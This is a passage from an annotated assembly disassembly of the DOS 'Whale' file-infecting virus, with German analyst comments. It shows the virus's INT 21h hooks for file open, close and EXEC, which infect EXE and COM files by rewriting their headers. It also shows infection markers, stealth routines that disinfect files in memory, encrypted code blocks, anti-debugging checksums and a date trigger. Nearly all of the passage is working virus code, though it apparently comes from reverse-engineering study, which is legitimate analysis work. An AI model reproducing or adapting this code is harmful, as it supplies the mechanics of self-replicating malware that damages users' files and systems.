  1469.                 XCHG    AX,DX         ;
  1470.                 XCHG    AX,BX
  1471.                 DIV     CX
  1472.                 MOV     [SI+21h],AX
  1473.                 MCODE   31
  1474.                 JMP     J02EA3          ; fertig
  1475. ;=====================================================================
  1476. ;=======================================( setzt INT 02 auf "IRET" )===
  1477. ;=====================================================================
  1478. StopINT_02:     MDECODE 32
  1479.                 CALL    PushALL
  1480.                 IN      AL,21h
  1481.                 OR      AL,02h                  ; setze Bit 2
  1482.                 OUT     21h,AL
  1483.  
  1484.                 MOV     AL,02h
  1485.                 CALL    GetInt_AL               ; GET INT 02
  1486.                                                 ; ergebnis in ES:BX
  1487.                 MOV     AX,CS                   ; AX = CS
  1488.                 MOV     CX,ES
  1489.                 CMP     AX,CX
  1490.                 JZ      J03179
  1491.                 MOV     WORD PTR CS:[@INT02+2],ES
  1492.                 MOV     WORD PTR CS:[@INT02  ],BX
  1493.  
  1494.                 PUSH    CS
  1495.                 POP     DS
  1496.                 CALL    J03170
  1497. J03170:         POP     DX                      ; GET IP
  1498.                 ADD     DX,OFFSET INT_02-OFFSET J03170
  1499.  
  1500.                 MOV     AL,02h
  1501.                 CALL    SetInt_AL               ; SET INT 02 auf IRET
  1502.  
  1503. J03179:         CALL    PopALL
  1504.                 MCODE   32
  1505.                 RETN
  1506. ;=====================================================================
  1507. INT_02:         IRET    ; KOPROZESSORFEHLER + MEMORY PARITY-FEHLER
  1508. ;=====================================================================
  1509. J03182:         JMP     J02B8B          ; CALL LOW_INT_21
  1510.                 DB      0E8h
  1511. ;=====================================================================
  1512. ;=======================================( SET INT 02 zum Original )===
  1513. ;=====================================================================
  1514. Re_SET_Int_02:  MDECODE 33
  1515.                 CALL    PushALL
  1516.  
  1517.                 IN      AL,21h
  1518.                 AND     AL,0FDh             ; lösche Bit 2
  1519.                 OUT     21h,AL
  1520.  
  1521.                 LDS     DX,CS:[@INT02]     ; OLD INT 02
  1522.                 MOV     AL,02h
  1523.                 CALL    SetInt_AL          ; SET INT 02
  1524.                 CALL    PopALL
  1525.                 MCODE   33
  1526.                 RETN
  1527. ;=====================================================================
  1528. ;================================( Handler für Open File / Handle )===
  1529. ;=====================================================================
  1530. J031A6:         CALL    GET_Current_PSP
  1531.                 CALL    J039C3          ; ist die Datei ausführbar ?
  1532.                 JB      J031F1          ; nein....
  1533.                 CMP     BYTE PTR CS:[D24A2],00h ; hab ich schon infiziert
  1534.                 JZ      J031F1
  1535.                 CALL    J043B1          ; Vorarbeiten
  1536.                 CMP     BX,0ffffh       ; Fehler bei Vorarbeiten ??
  1537.                 JZ      J031F1          ; oder garkeine DATEI ??
  1538. ;===========================================()==========================
  1539.                 MDECODE 34
  1540.                 DEC     BYTE PTR CS:[D24A2]
  1541.                 PUSH    CS
  1542.                 POP     ES
  1543.  
  1544.                 MOV     CX,0014h
  1545.                 MOV     DI,Offset D2452 ; ja ? wenn ich's wüsst...
  1546.                 XOR     AX,AX
  1547.                 REPNZ   SCASW
  1548.  
  1549.                 MOV     AX,CS:[@PSP]
  1550.                 MOV     ES:[DI-02h],AX
  1551.                 MOV     ES:[DI+26h],BX
  1552.                 MOV     [BP-04h],BX
  1553.                 MCODE   34
  1554.  
  1555. J031E7:         AND     BYTE PTR CS:[D24B3],0FEh        ; CF löschen
  1556.                 JMP     J02EA3          ; fertig
  1557.  
  1558.                 DB      0E8h
  1559.  
  1560. J031F1:         JMP     J02B8B  ; CALL LOW_INT_21
  1561. ;=====================================================================
  1562. ;===============================( Handler für CLOSE FILE / Handle )===
  1563. ;=====================================================================
  1564. J031F4:         MDECODE 35
  1565.                 PUSH    CS
  1566.                 POP     ES
  1567.                 CALL    GET_Current_PSP
  1568.                 MOV     CX,0014h
  1569.                 MOV     AX,CS:[@PSP]
  1570.                 MOV     DI,Offset D2452
  1571.                 MCODE   35
  1572.  
  1573. J0320C:         REPNZ   SCASW
  1574. J0320E:         JNZ     J03227
  1575.                 CMP     BX,ES:[DI+26h]
  1576.                 JNZ     J0320C
  1577.                 MOV     WORD PTR ES:[DI-02h],0000h
  1578.                 CALL    J03642                  ; infizieren !
  1579.                 INC     BYTE PTR CS:[D24A2]
  1580.                 JMP     J031E7
  1581.         ;================================
  1582.                 DB      0BBh
  1583.         ;================================
  1584. J03227:         JMP     J02B8B          ; Call LOW-INT-21
  1585.         ;================================
  1586.                 DB      3DH
  1587.         ;================================
  1588. ;=====================================================================
  1589. ;=============================================( Hole aktuelle DTA )===
  1590. ;=====================================================================
  1591. GetDTA:         MDECODE 36
  1592.                 MOV     AH,2FH          ; GET DTA
  1593.                 PUSH    ES
  1594.                 CALL    CS:[@INT21]
  1595.                 PUSH    ES
  1596.                 POP     DS
  1597.                 POP     ES
  1598.                 MCODE   36
  1599.                 RETN
  1600. ;---------------------------------------------------------------------
  1601. J03240:         DB      0E9H,012H,003H  ; JMP     J03555  == NIRWANA !
  1602. ;=====================================================================
  1603. ;=====================================( versteckter DECODE-Aufruf )===
  1604. ;=====================================================================
  1605. Decode:         JMP     J0491B          ; CMP     AX,16D5H
  1606. ;-----------------------------------------------------------(trash)---
  1607.         JZ      J03240
  1608.     SUB    AX,12EFh
  1609.     DEC    SI 
  1610.     INC    BH
  1611.     JMP    J02FEA
  1612. ;=====================================================================
  1613. ;=====(-----------------------------------------------------------)===
  1614. ;=====(                   Affengeiler Code                        )===
  1615. ;=====(-----------------------------------------------------------)===
  1616. ;=====( SP sichern in BP                                          )===
  1617. ;=====( "C353" auf den Stack, wobei SS=CS & C353 = "PUSH BX, RET" )===
  1618. ;=====( Dann ein CALL dessen RET-Adresse vom Stack geholt wird.   )===
  1619. ;=====( Dafür wird DX alias BP auf den Stack gelegt. Kuckuck !    )===
  1620. ;=====( Schliesslich wird nach SS:SP-2, also "PUSH BX, RET",      )===
  1621. ;=====( gesprungen, also ein "RET" zur Adresse J034D4 ausgeführt  )===
  1622. ;=====(-----------------------------------------------------------)===
  1623. ;=====( Kein Wunder, daß der Wal nach Fischen sucht ;-)))         )===
  1624. ;=====================================================================
  1625. J03251:         MOV     DX,BP                   ; DX = BP
  1626.                 MOV     BP,SP
  1627.                 MOV     BX,0C353H
  1628.                 PUSH    BX
  1629. J03259:         CALL    J0341A                  ; ursprünglich "INT 3"
  1630. J0325C          DB      0BBH
  1631. ;----------------------------------------------------------( Info )---
  1632. ;       J0341A: POP     BX                              ; BX = 325C
  1633. ;               ADD     BX,OFFSET J034D4-Offset J0325C
  1634. ;               PUSH    DX                      ;
  1635. ;               SUB     BP,+02h                 ; BP = SP-2
  1636. ;               DB      36H                     ; hat noch gefehlt :-)
  1637. ;               JMP     BP                      ; = JMP  DX / JMP 34D4
  1638. ;--------------------------( => )------
  1639. ;     SS:SP-2   PUSH   BX       ; = 53h
  1640. ;     SS:SP-1   RET             ; = C3h
  1641. ;=====================================================================
  1642. ;==============================================( Handler für EXEC )===
  1643. ;=====================================================================
  1644. J0325D:         OR      AL,AL   ; Ist AL = 0 ( = Load + execute ) ?
  1645.                 JZ      J03264  ; JA !!
  1646.                 JMP     J034FC
  1647. ;=====================================================================
  1648. ;================================================( EXEC AX = 4B00 )===
  1649. ;=====================================================================
  1650. J03264:         MDECODE 37
  1651.                 PUSH    DS
  1652.                 PUSH    DX
  1653.                 MOV     Word ptr CS:[D2424+2],ES        ; Adress of EPB
  1654.                 MOV     Word ptr CS:[D2424  ],BX
  1655.                 LDS     SI,DWord ptr CS:[D2424]
  1656.  
  1657.                 MOV     CX,000Eh                    ; kopiere epb in ds
  1658.                 MOV     DI,Offset EPB
  1659.                 PUSH    CS
  1660.                 POP     ES
  1661.                 REPZ    MOVSB
  1662.  
  1663.                 POP     SI
  1664.                 POP     DS
  1665.                 MOV     CX,0050h                ; kopiere kommandozeile
  1666.                 MOV     DI,Offset Cmd_Line
  1667.                 REPZ    MOVSB
  1668.  
  1669.                 MOV     BX,0FFFFh               ; wird wieder zerstört
  1670.                 CALL    PopALL
  1671.                 POP     BP                      ; Original-BP
  1672.                 POP     CS:[D24E6]              ; CALLERs IP
  1673.                 POP     CS:[D24E8]              ; CALLERS CS
  1674.                 POP     CS:[D24B3]              ; CALLERS Flags
  1675.                 PUSH    CS
  1676.  
  1677.                 MOV     AX,4B01h                ; Load, but do not execute
  1678.                 POP     ES                      ; Segment EPB
  1679.                 PUSHF
  1680.                 MOV     BX,Offset EPB           ; Offset EPB
  1681.                 CALL    CS:[Low_INT_21H]
  1682.  
  1683.                 MCODE   37
  1684.  
  1685.                 JNB     J032DA                  ; JMP if kein Fehler
  1686.  
  1687.                 OR      WORD PTR CS:[D24B3],+01h; sonst CF setzen
  1688.                 PUSH    CS:[D24B3]              ; Flags
  1689.                 PUSH    CS:[D24E8]              ; CS
  1690.                 PUSH    CS:[D24E6]              ; IP
  1691.                 PUSH    BP
  1692.                 LES     BX,DWord ptr CS:[D2424] ; Alten EPB zurück
  1693.                 MOV     BP,SP                   ; Alten SP
  1694.                 JMP     IRET_Int21h             ; und fertig
  1695. ;======================================================
  1696.                 DB      89h,04h
  1697. ;=======================================( kein Fehler aufgetreten )===
  1698. J032DA:         MDECODE 38
  1699.                 CALL    GET_Current_PSP
  1700.                 PUSH    CS
  1701.                 POP     ES
  1702.                 MOV     CX,0014h
  1703.                 MOV     DI,Offset D2452
  1704. J032EA:         MOV     AX,CS:[@PSP]
  1705.                 REPNZ   SCASW
  1706.                 JNZ     J032FF
  1707.                 MOV     WORD PTR ES:[DI-02h],0000h
  1708.                 INC     BYTE PTR CS:[D24A2]
  1709.                 JMP     J032EA
  1710. ;====================================================================
  1711. J032FF:         MCODE   38
  1712.                 LDS     SI,DWORD PTR CS:[D2503] ; Ist IP-Init = 1 ( WAL ! )
  1713.                 CMP     SI,+01h
  1714.                 JNZ     J0334D                  ; nein. Dann infizieren
  1715.                                                 ; sonst wal ausblenden
  1716.                 MDECODE 39
  1717.                 MOV     DX,Word Ptr DS:[001Ah]
  1718.                 ADD     DX,+10h
  1719.  
  1720.                 MOV     AH,51h
  1721.                 CALL    CS:[@INT21]
  1722.  
  1723.                 ADD     DX,BX
  1724.                 MOV     Word Ptr CS:[D2505],DX
  1725.                 PUSH    Word Ptr DS:[0018h]
  1726.                 POP     Word Ptr CS:[D2503]
  1727.  
  1728.                 ADD     BX,Word Ptr DS:[0012h]
  1729.                 ADD     BX,+10h
  1730.                 MOV     Word Ptr CS:[D2501],BX
  1731.  
  1732.                 PUSH    Word Ptr DS:[0014h]
  1733.                 POP     Word Ptr CS:[D24FF]
  1734.  
  1735.                 MCODE   39
  1736.                 JMP     J0345F
  1737. ;---------------------------------------------------------------------
  1738.                 DB      09h
  1739. ;---------------------------------------------------------------------
  1740. J0334D:         JMP     J03428          ; jmp zut Infect-routine
  1741. ;=====================================================================
  1742. ;===================================================( Selbst-Test )===
  1743. ;=====================================================================
  1744. J03350:         MDECODE 40
  1745.                 CALL    PushALL
  1746.                 JMP     J03362
  1747.  
  1748. J0335B:         XOR     AL,CS:[BX]
  1749.                 INC     BX
  1750.                 LOOP    J0335B
  1751.                 RETN
  1752. ;-----------------------------------( netterweise werden hier die )---
  1753. ;-----------------------------------( 'echten' Labels publik !    )---
  1754. J03362:         XOR     AL,AL
  1755.                 MOV     BX,0021h        ; 2831..2852 ; ENTRY...2852
  1756.                 MOV     CX,007Ah
  1757.                 CALL    J0335B
  1758.                 MOV     BX,0173h        ; 2983..298d ; init SI
  1759.                 MOV     CX,000Ah
  1760.                 CALL    J0335B
  1761.                 MOV     BX,0253h        ; 2a63..2a7f ; trace...
  1762.                 MOV     CX,001Ch
  1763.                 CALL    J0335B
  1764.                 MOV     BX,0550h        ; 2d60..2d6a ; ?????????????
  1765.                 MOV     CX,000Ah
  1766.                 CALL    J0335B
  1767.                 MOV     BX,0705h        ; 2f15..2f55
  1768.                 MOV     CX,0040h
  1769.                 CALL    J0335B
  1770.                 MOV     BX,0790h        ; 2fa0..2ff6
  1771.                 MOV     CX,0056h
  1772.                 CALL    J0335B
  1773.                 MOV     BX,0A30h        ; 3240..3264
  1774.                 MOV     CX,0024h
  1775.                 CALL    J0335B
  1776.                 MOV     BX,0C0Ah        ; 341a..3428
  1777.                 MOV     CX,000Eh
  1778.                 CALL    J0335B
  1779.                 MOV     BX,0CC4h        ; 34d4..3510
  1780.                 MOV     CX,003Ch
  1781.                 CALL    J0335B
  1782.                 MOV     BX,105Ah        ; 386a..3897
  1783.                 MOV     CX,002Dh
  1784.                 CALL    J0335B
  1785.                 MOV     BX,1106h        ; 3916..393f
  1786.                 MOV     CX,0029h
  1787.                 CALL    J0335B
  1788.                 MOV     BX,210Ah        ; 491a..4981
  1789.                 MOV     CX,0067h
  1790.                 CALL    J0335B
  1791.                 MOV     BX,2173h        ; 4983..4a56
  1792.                 MOV     CX,00D8h
  1793.                 CALL    J0335B
  1794.                 MOV     BX,236Ch        ; 4b7c..4bb5
  1795.                 MOV     CX,0039h
  1796.                 CALL    J0335B
  1797.                 MOV     BX,1D7Dh        ; 458d..45b2
  1798.                 MOV     CX,0025h
  1799.                 CALL    J0335B
  1800.                 MOV     BX,1C7Ch        ; 448c..44ce
  1801.                 MOV     CX,0042h
  1802.                 CALL    J0335B
  1803.                 CMP     AL,0E0h                          ; sic !!
  1804.                 JZ      J03412
  1805.         ;-----------------------------------------------------
  1806.                 MOV     WORD PTR CS:[D2598],0F4F4h     ; = HLT
  1807.                 MOV     BX,OFFSET D2598
  1808.                 PUSHF
  1809.                 PUSH    CS
  1810.                 PUSH    BX
  1811.                 XOR     AX,AX
  1812.                 MOV     DS,AX
  1813.                 MOV     WORD PTR DS:[0006h],0FFFFh     ; SEGMENT Int 01
  1814.                 CALL    Debugger_Check                 ; STOP
  1815.         ;-----------------------------------------------------
  1816. J03412:         CALL    PopALL
  1817.                 MCODE   40
  1818. J03419:         RETN
  1819. ;====================================================( JMP J034D4 )===
  1820. J0341A:         POP     BX                              ; BX = 325C
  1821.                 ADD     BX,OFFSET J034D4-Offset J0325C  ; BX = 34D4
  1822.                 PUSH    DX                              ;
  1823.                 SUB     BP,+02h                         ; BP = SP
  1824.                 ;****************************************************
  1825.                 DB      36H             ; Seg-Prefix hat noch gefehlt
  1826.                 ;****************************************************
  1827.                 JMP     BP              ; -> JMP  DX -> JMP BX
  1828. ;---------------------------------------------------------------------
  1829.                 DB      0E9h,0DBh,000
  1830. ;-------------------------------( Nochmal Kontrolle, ob infiziert )---
  1831. J03428:         MDECODE 41
  1832.                 MOV     AX,[SI]
  1833.                 ADD     AX,[SI+02h]
  1834.                 PUSH    BX
  1835.                 MOV     BX,[SI+04h]
  1836.  
  1837.                 XOR     BX,5348h   ; 'SH'
  1838.                 XOR     BX,4649h   ; 'FI'
  1839.  
  1840.                 ADD     AX,BX
  1841.                 POP     BX
  1842.                 MCODE   41
  1843.                 JZ      J034AF                  ; ist schon infiziert
  1844.                 PUSH    CS
  1845.                 POP     DS
  1846.                 MOV     DX,Offset Cmd_Line
  1847.                 CALL    J039C3          ; ist die Datei ausführbar ?
  1848.                 CALL    J043B1          ; Vorarbeiten
  1849.                 INC     BYTE PTR CS:[D24EF]
  1850.                 CALL    J03642          ; infizieren
  1851.                 DEC     BYTE PTR CS:[D24EF]
  1852. ;=====================================================================
  1853. ;===================================( Datei im RAM wird gestartet )===
  1854. ;=====================================================================
  1855. J0345F:         MDECODE 42
  1856.  
  1857.                 MOV     AH,51h                  ; GET current PSP
  1858.                 CALL    CS:[@INT21]
  1859.  
  1860.                 CALL    SaveRegisters
  1861.                 CALL    Patch_IBMDOS
  1862.                 CALL    GetRegsFromVirstack
  1863.                 MOV     DS,BX
  1864.                 MOV     ES,BX
  1865.                 PUSH    WORD PTR CS:[D24B3]     ; CALLERs FLAGS
  1866.                 PUSH    WORD PTR CS:[D24E8]     ; Caller-CS
  1867.                 PUSH    WORD PTR CS:[D24E6]     ; Caller-IP
  1868.                 POP     Word Ptr DS:[000Ah]
  1869.                 POP     Word Ptr DS:[000Ch]
  1870.                 PUSH    DS
  1871.                 MOV     AL,22h
  1872.                 LDS     DX,Dword Ptr DS:[000Ah]
  1873.                 CALL    SetInt_AL               ; SET INT 22 TO CALLER
  1874.                 POP     DS
  1875.                 POPF                            ; POP Original-Flags
  1876.                 POP     AX                      ; POP RET-Adresse
  1877.                 MOV     SP,CS:[D24FF]           ; SP-INIT
  1878.                 MOV     SS,CS:[D2501]           ; SS-INIT
  1879.                 MCODE   42
  1880.                 JMP     DWORD PTR CS:[D2503]    ; EXEC Programm
  1881. ;=====================================================================
  1882. ;==============( Datei ist infiziert. Wal desinfiziert sie im RAM )===
  1883. ;=====================================================================
  1884. ;       Offset 100H     JMP     4BCC = E9 C9 4A
  1885. ;       Offset 2814     EXE_ID         E9 pq rs , Savebytes
  1886. ;       Offset 4BCC     Vir-Entry
  1887. ;       2814-4AC9-100h = DC4B usw.
  1888. ;=====================================================================
  1889. J034AF:         MDECODE 43                      ; SI zeigt auf COM-START
  1890.                 MOV     BX,[SI+01h]             ; Sprungziel nach BX
  1891.                 MOV     AX,[BX+SI+0DC4Bh]       ; -23B5, Diff -3  zw.
  1892.                 MOV     [SI],AX                 ;  Savebytes und 4BCC
  1893.                 MOV     AX,[BX+SI+0DC4Dh]       ; -23B3
  1894.                 MOV     [SI+02h],AX
  1895.                 MOV     AX,[BX+SI+0DC4Fh]       ; -2361
  1896.                 MOV     [SI+04h],AX
  1897.                 CALL    J045D0                  ; 'aktiv-msg'
  1898.                 MCODE   43
  1899.                 JMP     J0345F                  ;
  1900. ;=====================================================================
  1901. ;================================(   EINTRITT IN "ARBEITSPHASE"   )===
  1902. ;================================( Durch die erste Anweisung wird )===
  1903. ;================================( der JMP zum Relokator erzeugt  )===
  1904. ;=====================================================================
  1905. J034D4:         MOV     BYTE PTR CS:[SI+SwapCode_2],0E9h
  1906.                                         ; JMP bei 3A20 erzeugen !!
  1907.                 POP     BP              ; BP = 20h
  1908.                 MOV     CX,0004h        ; Das nächste RET macht wieder
  1909.                                         ; "PUSH BX,RET"
  1910.                 MOV     BX,DS           ; BX = DS
  1911.                 OR      BX,BP           ; BX = DS or 20h
  1912.                 MOV     DS,BX           ; DS = DS or 20H
  1913.  
  1914. J034E4:         SHL     BX,1            ; BX = BX * 16
  1915.                 LOOP    J034E4
  1916.  
  1917.                 MOV     AX,CX           ; AX = 0
  1918.                 MOV     CX,001Ch        ; CX = 1C
  1919.  
  1920. J034ED:         ADD     AH,[BX]
  1921.                 INC     BX
  1922.                 LOOP    J034ED
  1923.  
  1924.                 PUSH    AX              ; AX auf den Stack
  1925.  
  1926.                 MOV     CX,[BX]
  1927.                 PUSH    CS
  1928.                 POP     AX
  1929.                 SHR     BH,1
  1930.                 JMP     J03919
  1931. ;=====================================================================
  1932. ;================================================( Gehört zu EXEC )===
  1933. ;=====================================================================
  1934. J034FC:         CMP     AL,01h  ; AX = 4B01 ( durch Debugger und Wal )
  1935.                 JZ      J03510  ; ja  , durch Debugger und Wal.
  1936.                 JMP     J02B8B  ; nein, AX=4B03. Low-int-21h rufen
  1937. ;=====================================================================
  1938. ;===========================================================(trash)===
  1939. ;=====================================================================
  1940. J03503: DB      01,0cbh,81h,0fbh,34h,28h,72h,0f8h,81h,0f1h,21h,21h,0a1h
  1941.         ;---------------------------------------
  1942.         ;J03503:ADD     BX,CX
  1943.         ;       CMP     BX,2834h        ; OFFSET VIR_NAME
  1944.         ;       JB      J03503
  1945.         ;       XOR     CX,2121h        ; "!!"
  1946.         ;       MOV     AX,WORD PTR DS:[30E8h]
  1947.         ;       STD
  1948.         ;       SUB     [BX+SI],AL
  1949.         ;---------------------------------------
  1950. ;=====================================================================
  1951. ;==============================================( EXEC mit 4B01h   )===
  1952. ;==============================================( Aufruf durch WAL )===
  1953. ;==============================================( und Debugger     )===
  1954. ;=====================================================================
  1955. J03510:         MDECODE 44
  1956.                 OR      WORD PTR CS:[D24B3  ],+01h      ; CALLERS Flags
  1957.                 MOV     Word ptr CS:[D2424+2],ES        ; EPB sichern
  1958.                 MOV     Word ptr CS:[D2424  ],BX
  1959.                 CALL    PopALL
  1960.                 CALL    CS:[@INT21]           ; int 21h rufen
  1961.                 CALL    PushALL
  1962.                 LES     BX,DWord ptr CS:[D2424]         ; EPB zurück
  1963.                 LDS     SI,DWord ptr ES:[BX+12h]        ; CS:IP holen
  1964.                 MCODE   44
  1965.                 JNB     J03542          ; ---> Infektion
  1966.                 JMP     J035E0          ; ---> fertig
  1967. ;=========================================================()========
  1968. J03542:         AND     BYTE PTR CS:[D24B3],0FEh; CF löschen
  1969.                 CMP     SI,+01h                 ; ist IP-INIT=1 (infiziert)
  1970.                 JZ      J0358E
  1971.                 MDECODE 45
  1972.                 MOV     AX,[SI]
  1973.                 ADD     AX,[SI+02h]
  1974.                 PUSH    BX
  1975.                 MOV     BX,[SI+04h]
  1976.                 XOR     BX,5348h                ; "SH"
  1977.                 XOR     BX,4649h                ; "FI"
  1978.                 ADD     AX,BX
  1979.                 POP     BX
  1980.                 MCODE   45
  1981.                 JNZ     J035C3          ; nicht markierbar, keine Infektion
  1982.                 ;---------------------( Dateianfang manipulieren )---
  1983.                 MDECODE 46
  1984.                 MOV     BX,[SI+01h]
  1985.                 MOV     AX,[BX+SI+0DC4Bh]       ; SIEHE 34af!
  1986.                 MOV     [SI],AX
  1987.                 MOV     AX,[BX+SI+0DC4Dh]
  1988.                 MOV     [SI+02h],AX
  1989.                 MOV     AX,[BX+SI+0DC4Fh]
  1990.                 MOV     [SI+04h],AX
  1991.                 MCODE   46
  1992.                 JMP     SHORT J035C3    ; Terminate-Adresse festlegen
  1993.  
  1994. ;=====================================================================
  1995. ;=====================================( Datei ist schon infiziert )===
  1996. ;=====================================================================
  1997. J0358E:         MDECODE 47                      ; ES:BX = EPB
  1998.                 MOV     DX,WORD PTR DS:[001Ah]  ; DS:SI = CS:IP der Datei
  1999.                 CALL    GET_Current_PSP
  2000.  
  2001.                 MOV     CX,CS:[@PSP]
  2002.                 ADD     CX,+10h
  2003.                 ADD     DX,CX
  2004.                 MOV     ES:[BX+14h],DX
  2005.  
  2006.                 MOV     AX,Word Ptr DS:[0018h]
  2007.                 MOV     ES:[BX+12h],AX
  2008.  
  2009.                 MOV     AX,Word Ptr DS:[0012h]
  2010.                 ADD     AX,CX
  2011.                 MOV     ES:[BX+10h],AX
  2012.  
  2013.                 MOV     AX,Word Ptr DS:[0014h]
  2014.                 MOV     ES:[BX+0Eh],AX
  2015.                 MCODE   47
  2016. ;=====================================================================
  2017. ;==============================( Installation des INT 22-Handlers )===
  2018. ;=====================================================================
  2019. J035C3:         MDECODE 48
  2020.                 CALL    GET_Current_PSP
  2021.                 MOV     DS,CS:[@PSP]
  2022.                 MOV     AX,[BP+02h]
  2023.                 MOV     Word Ptr DS:[000Ah],AX  ; OFFSET int 22-Handler
  2024.                 MOV     AX,[BP+04h]
  2025.                 MOV     Word Ptr DS:[000Ch],AX  ; Segment int 22-Handler
  2026.                 MCODE   48
  2027. J035E0:         JMP     J02EA3                  ; Fertig
  2028. ;=====================================================================
  2029. ;====================================( kann ja fast nicht sein ...)===
  2030. ;=====================================================================
  2031. ; erzeugt wird :
  2032. ;       DB      01h
  2033. ;       DW      CS
  2034. ;       DW      SS
  2035. ;       DW      SP
  2036. ;--------------------------------------------------------------------
  2037. J035E3: MOV     WORD PTR CS:[023Ah],CS          ;2a4a
  2038.         MOV     WORD PTR CS:[023Ch],SS          ;2a4c
  2039.         MOV     WORD PTR CS:[023Eh],SP          ;2a4e
  2040.         MOV     BYTE PTR CS:[0239h],01h         ;2a49
  2041.         PUSH    DS
  2042.         POP     AX                              ; ist auch bloss Müll !
  2043. ;=====================================================================
  2044. ;=================================( Kontrolle des Verfalls-Datums )===
  2045. ;=====================================================================
  2046. Check_Verfallsdatum:
  2047.                 MDECODE 49
  2048.                 CALL    PushALL
  2049.                 MOV     AH,2Ah          ; GET System Time & Date
  2050.                 CALL    CS:[@INT21]     ;
  2051.                 CMP     CX,07C8h        ; 1992
  2052.                 JNB     J0361A          ; CX >= 1992 : Setze [Error],1
  2053.                 CMP     CX,07C7h        ; 1991
  2054.                 JNZ     J03620          ; CX <> 1991 : Lasse [Error]
  2055.                 CMP     DH,04h          ; April
  2056.                 JB      J03620          ; DH < APRIL : Lasse [Error]
  2057.                 ;-----------------------------------------------------
  2058. J0361A:         MOV     BYTE PTR CS:[Error],01h
  2059. J03620:         CMP     BYTE PTR CS:[Error],00h
  2060.                 JZ      J0362F
  2061.                 CALL    PopALL
  2062.                 POP     AX
  2063.                 JMP     J03632
  2064.                 ;--------------
  2065. J0362F:         CALL    PopALL
  2066. J03632:         MCODE   49
  2067.                 CMP     BYTE PTR CS:[Error],00h
  2068.                 JZ      J03641
  2069.                 JMP     J03761  ; Returnadresse bleibt auf Stack...
  2070. J03641:         RETN
  2071. ;=====================================================================
  2072. ;==================================( "JMP Decode_Whale" schreiben )===
  2073. ;=====================================================================
  2074. J03642:         MDECODE 50
  2075.                 ;-------------------------------------------------------
  2076.                 MOV     BYTE PTR CS:[0001h],0E9h     ; JMP 23BC /4BCC
  2077.                 MOV     BYTE PTR CS:[0002h],0B8h     ; CS:0001=CS:2811
  2078.                 MOV     BYTE PTR CS:[0003h],023h
  2079.                 ;--------------------------------------------------
  2080.                 CALL    Trace_int_13h
  2081.  
  2082.                 CALL    J0378C  ; errechnet unter anderem Paras für File
  2083.                                 ; SI = benötigte Paragrafen
  2084.                                 ; CX = 10h
  2085.                                 ; DX:AX = Filesize gerundet
  2086.                                 ; auf nächsten Paragrafen
  2087.  
  2088.                 MOV     BYTE Ptr DS:[OFFSET EXE_FLAG-Offset VirStart],01h
  2089.                 CMP     WORD Ptr DS:[CodBuf],'MZ'
  2090.                 MCODE   50
  2091.                 JZ      J0367E
  2092.                 DEC     BYTE Ptr DS:[Offset Exe_Flag-Offset VirStart]
  2093.  
  2094.                 JZ      J036F9          ; Wenn EXE-FLAG "1" war,
  2095.                                         ; also immer (!)
  2096. ;=====================================================================
  2097. ;=========================================(  EXE-Header auswerten )===
  2098. ;=========================================( Infektion vorbereiten )===
  2099. ;=====================( die Berechnung scheint fehlerhaft zu sein )===
  2100. ;=====================================================================
  2101. J0367E:         MDECODE 51
  2102.                 MOV     AX,WORD PTR DS:[CodBuf+4]   ; Pages
  2103.                 SHL     CX,1            ; CX = 20h
  2104.                 MUL     CX              ; AX ist ((Länge-1) div 200h)*20h
  2105.                                         ; Also jetzt : (Länge-1) DIV 10H
  2106.                                         ; AX enthält die benötigte Anzahl
  2107.                                         ; Paragrafen, um EXE zu laden.
  2108.                 ADD     AX,0200h        ; AX=AX+200h, gibt keinen Sinn
  2109.                 CMP     AX,SI           ; Vergleiche AX mit Max-Paras
  2110.                 MCODE   51
  2111.                 JB      J036F6          ; jmp, wenn AX kleiner ist
  2112.  
  2113.                 MOV     AX,WORD PTR DS:[CodBuf+0Ah] ; MinFree
  2114.                 OR      AX,WORD PTR DS:[CodBuf+0Ch] ; MaxFree
  2115.                 JZ      J036F6
  2116.                 MDECODE 52
  2117.                 MOV     DX,Word ptr DS:[FileSize+2]
  2118.                 MOV     CX,0200h
  2119.                 MOV     AX,Word ptr DS:[FileSize  ]
  2120.                 DIV     CX              ; AX = (DX:AX) / 512; -> Pages
  2121.                 OR      DX,DX           ; Blieb ein Rest ???
  2122.                 MCODE   52
  2123.                 JZ      J036B8          ; ja..
  2124.                 INC     AX
  2125. J036B8:         MOV     WORD PTR DS:[CodBuf+2  ],DX     ; Länge LastPage
  2126.                 MOV     WORD PTR DS:[CodBuf+4  ],AX     ; Anzahl Pages
  2127.                 CMP     WORD PTR DS:[CodBuf+14h],+01h   ; IP-Init = 1?
  2128.                 JNZ     J036CA                          ; ( Whale !)
  2129.                 JMP     J03761                          ; dann fertig !
  2130. ;--------------------------------------------------------------------
  2131.                 DB      0E8h
  2132. ;--------------------------------------------------------------------
  2133. J036CA:         CALL    Check_Verfallsdatum
  2134.                 MDECODE 53
  2135.                 MOV     WORD PTR DS:[CodBuf+14h],0001h
  2136.                                                         ; IP-INIT = 0001h
  2137.                 MOV     AX,SI                           ; MaxParas -> AX
  2138.                 SUB     AX,WORD PTR DS:[CodBuf+8]       ; AX=AX-Headerparas
  2139.                 MOV     WORD PTR DS:[CodBuf+16h ],AX    ; CS-INIT <-AX !!!!
  2140.                 ADD     WORD PTR DS:[CodBuf+4   ],+12h  ; 12 Pages dazu
  2141.                                                         ; (== Whale-Size )
  2142.                 ;-----------------------------------------------------------
  2143.                 ; eine andere Art, ein Virus zu entdecken :
  2144.                 ; Wenn ein EXE wie ein COM initialisiert wird...
  2145.                 ;-----------------------------------------------------------
  2146.                 MOV     WORD PTR DS:[CodBuf+010h],0FFFEh; SP-Init = COM-LIKE
  2147.                 MOV     WORD PTR DS:[CodBuf+ 0Eh],AX    ; SS-Init = CS-Init
  2148.                 MCODE   53
  2149.                 CALL    Infect_File
  2150. J036F6:         JMP     J03761
  2151. ;=====================================================================
  2152. ;=======================================( Verfahren für COM-Files )===
  2153. ;=====================================================================
  2154. J036F9:         CMP     SI,0F00h        ; COM-Size > 61440 Byte ?!?
  2155.                 JNB     J03761          ; Dann geht es eben nicht ...
  2156.  
  2157.                 ;--------------( merken der ersten 6 Byte des COM )---
  2158.                 MDECODE 54
  2159.                 MOV     AX,WORD PTR DS:[CodBuf  ] ; whale:
  2160.                 MOV     WORD PTR DS:[0004h],AX    ; AX = 20CC
  2161.                 ADD     DX,AX                     ; DX = 0, da COM
  2162.                 MOV     AX,WORD PTR DS:[CodBuf+2]
  2163.                 MOV     WORD PTR DS:[0006h],AX    ; AX = 0
  2164.                 ADD     DX,AX                     ; DX = 20CC
